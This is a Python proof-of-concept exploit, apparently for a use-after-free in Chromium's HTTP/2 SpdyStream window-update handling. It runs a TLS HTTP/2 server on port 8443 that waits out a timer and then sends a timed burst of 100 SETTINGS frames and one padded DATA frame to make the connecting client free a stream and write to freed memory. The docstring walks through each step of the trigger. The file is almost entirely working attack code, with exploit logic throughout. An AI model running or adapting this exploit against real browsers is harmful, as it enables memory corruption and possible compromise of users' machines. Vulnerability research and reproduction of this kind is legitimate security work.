#!/usr/bin/env python3
"""
NET-005 PoC: SpdyStream::IncreaseRecvWindowSize UAF

With --force-fieldtrial-params setting limit=100:

1. Wait 6s for time_to_buffer_small_window_updates_ (5s) to expire
2. Send 100 SETTINGS + 1 padded DATA in ONE burst (1166 bytes < 8KB)
3. ALL processed in ONE DoReadComplete (no yields, no write loop)
4. 100 SETTINGS → 100 ACKs queued
5. OnStreamPadding → session IncreaseRecvWindowSize (6s > 5s):
   → session WINDOW_UPDATE → EnqueueSessionWrite: 100 > 100 → false → queue=101
6. OnPaddingConsumed → stream IncreaseRecvWindowSize (6s > 5s):
   → stream WINDOW_UPDATE → EnqueueSessionWrite: 101 > 100 → TRUE
   → DoDrainSession → StartGoingAway → DeleteStream → SpdyStream freed
7. Return to IncreaseRecvWindowSize: unacked_recv_window_bytes_ = 0 → UAF WRITE!
"""

import asyncio, ssl, struct, hpack

H2_PREFACE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'

def mkf(t, f, s, p=b''):
    return struct.pack('>I', len(p))[1:] + struct.pack('>BBI', t, f, s & 0x7FFFFFFF) + p

def settings(s=None, ack=False):
    p = b''.join(struct.pack('>HI', i, v) for i,v in s) if s else b''
    return mkf(4, 1 if ack else 0, 0, p)

def window_update(sid, inc):
    return mkf(8, 0, sid, struct.pack('>I', inc & 0x7FFFFFFF))

def headers(sid, status=200, hdrs=None):
    h = [(':status', str(status))]
    if hdrs: h.extend(hdrs)
    return mkf(1, 0x04, sid, hpack.Encoder().encode(h))

def padded_data(sid, dlen=1, plen=255, end=True):
    return mkf(0, 0x08 | (0x01 if end else 0), sid,
               struct.pack('>B', plen) + (b'A'*dlen) + (b'\x00'*plen))

def parse(data):
    if len(data) < 9: return None, data
    l = (data[0]<<16)|(data[1]<<8)|data[2]
    t = 9 + l
    if len(data) < t: return None, data
    return (data[3], data[4], struct.unpack('>I', data[5:9])[0] & 0x7FFFFFFF, data[9:t]), data[t:]


async def handle(r, w):
    print("[*] Connection", flush=True)
    try:
        # H2 handshake
        assert await asyncio.wait_for(r.readexactly(24), 10) == H2_PREFACE
        h = await asyncio.wait_for(r.readexactly(9), 5)
        sl = (h[0]<<16)|(h[1]<<8)|h[2]
        if sl > 0: await r.readexactly(sl)

        w.write(settings([(0x04, 4194304), (0x03, 100)]))
        w.write(settings(ack=True))
        w.write(window_update(0, 15*1024*1024))
        await w.drain()
        print("[+] Handshake OK", flush=True)

        # Read until request
        buf = b''
        sid = None
        ack = False
        while True:
            try:
                c = await asyncio.wait_for(r.read(65536), 5)
                if c: buf += c
            except asyncio.TimeoutError: break
            while True:
                f, buf = parse(buf)
                if f is None: break
                if f[0] == 4 and (f[1] & 1): ack = True
                elif f[0] == 1: sid = f[2]; print(f"[+] Request stream={sid}", flush=True)
                elif f[0] == 6 and not (f[1] & 1): w.write(mkf(6, 1, 0, f[3]))
            if sid and ack: break

        if not sid:
            print("[!] No request", flush=True); return

        # Send response HEADERS
        w.write(headers(sid, 200, [('content-type','text/plain')]))
        await w.drain()
        print("[+] HEADERS sent", flush=True)

        # Wait 6+ seconds for time_to_buffer_small_window_updates_ to expire
        WAIT = 7
        print(f"[*] Waiting {WAIT}s for window update timeout...", flush=True)

        # Keep reading to prevent client stall
        import time
        t0 = time.time()
        while time.time() - t0 < WAIT:
            try:
                c = await asyncio.wait_for(r.read(65536), 0.5)
                if c:
                    buf += c
                    while True:
                        f, buf = parse(buf)
                        if f is None: break
                        if f[0] == 6 and not (f[1] & 1):
                            w.write(mkf(6, 1, 0, f[3]))
                            await w.drain()
            except asyncio.TimeoutError: pass

        # Build precision attack burst:
        # Exactly LIMIT SETTINGS + 1 padded DATA
        # Must fit in 8KB (kReadBufferSize) for single DoReadComplete
        LIMIT = 100  # Match --force-fieldtrial-params value
        NUM_SETTINGS = LIMIT  # Exactly at limit, not over

        burst = settings() * NUM_SETTINGS  # 100 × 9 = 900 bytes
        burst += padded_data(sid, 1, 255, end=True)  # 266 bytes
        # Total: 1166 bytes << 8192 (kReadBufferSize)

        print(f"[*] Attack burst: {NUM_SETTINGS} SETTINGS + 1 padded DATA = {len(burst)} bytes", flush=True)
        print(f"[*] Expected: fits in 1 DoReadComplete (< 8KB)", flush=True)
        print(f"[*] Session WINDOW_UPDATE: {LIMIT} > {LIMIT} = false → queue={LIMIT+1}", flush=True)
        print(f"[*] Stream WINDOW_UPDATE:  {LIMIT+1} > {LIMIT} = true  → DoDrainSession → UAF!", flush=True)

        w.write(burst)
        await w.drain()
        print("[*] Burst sent!", flush=True)

        # Wait to observe crash
        await asyncio.sleep(15)

    except Exception as e:
        print(f"[!] {e}", flush=True)
        import traceback; traceback.print_exc()
    finally:
        try: w.close()
        except: pass
        print("[*] Done", flush=True)


async def main():
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain('spdy_poc_cert.pem', 'spdy_poc_key.pem')
    ctx.set_alpn_protocols(['h2'])
    srv = await asyncio.start_server(handle, '0.0.0.0', 8443, ssl=ctx)
    print("[*] :8443 — use limit=100 field trial", flush=True)
    async with srv: await srv.serve_forever()

if __name__ == '__main__':
    try: asyncio.run(main())
    except KeyboardInterrupt: pass